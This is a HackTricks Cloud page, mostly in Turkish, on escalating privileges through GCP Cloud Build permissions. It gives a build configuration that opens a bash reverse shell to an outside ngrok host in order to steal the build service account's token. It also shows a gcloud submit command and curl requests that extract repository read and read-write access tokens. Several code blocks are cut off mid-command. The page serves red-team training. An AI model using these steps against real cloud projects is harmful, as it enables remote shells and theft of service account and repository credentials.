GCP - Cloudbuild Privesc
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
cloudbuild
Cloud Build hakkında daha fazla bilgi için bakınız:
cloudbuild.builds.create, iam.serviceAccounts.actAs
Bu izin ile bir cloud build gönderebilirsiniz. cloudbuild makinesinin dosya sisteminde varsayılan olarak cloudbuild Service Account’un bir token’ı bulunur: <PROJECT_NUMBER>@cloudbuild.gserviceaccount.com. Ancak cloudbuild konfigürasyonunda projedeki herhangi bir service account’u belirtebilirsiniz.\
Bu yüzden makinenin token’ı sunucunuza exfiltrate etmesini sağlayabilir veya içine reverse shell alıp token’ı kendinize edinebilirsiniz (token’ı içeren dosya değişebilir).
gcloud CLI üzerinden doğrudan istismar
1- cloudbuild.yaml oluşturun ve listener verilerinizle düzenleyin
Cloud Build için reverse shell YAML yapılandırması
```yaml steps: - name: bash script: | #!/usr/bin/env bash bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1 options: logging: CLOUD_LOGGING_ONLY ```2- Kaynağı olmadan basit bir build yükleyin, yaml dosyasını ekleyin ve build’te kullanılacak SA’yı belirtin:
Belirtilen service account ile Cloud Build gönder
```bash gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects/Python gcloud kütüphanesini kullanma
You can find the original exploit script here on GitHub (but the location it’s taking the token from didn’t work for me). Therefore, check a script to automate the creation, exploit and cleaning of a vuln environment here and a python script to get a reverse shell inside the cloudbuild machine and steal it here (in the code you can find how to specify other service accounts).
Daha ayrıntılı açıklama için şu adresi ziyaret edin: https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/
cloudbuild.repositories.accessReadToken
Bu izin sayesinde kullanıcı, repository’ye erişmek için kullanılan read access token’ı elde edebilir:
Repository için read access token alma
```bash curl -X POST \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ -H "Content-Type: application/json" \ -d '{}' \ "https://cloudbuild.googleapis.com/v2/projects/cloudbuild.repositories.accessReadWriteToken
Bu izinle kullanıcı, repository’ye erişmek için kullanılan okuma ve yazma erişim token’ını alabilir:
Repository için okuma ve yazma erişim token'ını al
```bash curl -X POST \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ -H "Content-Type: application/json" \ -d '{}' \ "https://cloudbuild.googleapis.com/v2/projects/cloudbuild.connections.fetchLinkableRepositories
Bu izinle bağlantının erişebildiği reposları alabilirsiniz:
Fetch linkable repositories
```bash curl -X GET \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ "https://cloudbuild.googleapis.com/v2/projects/Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

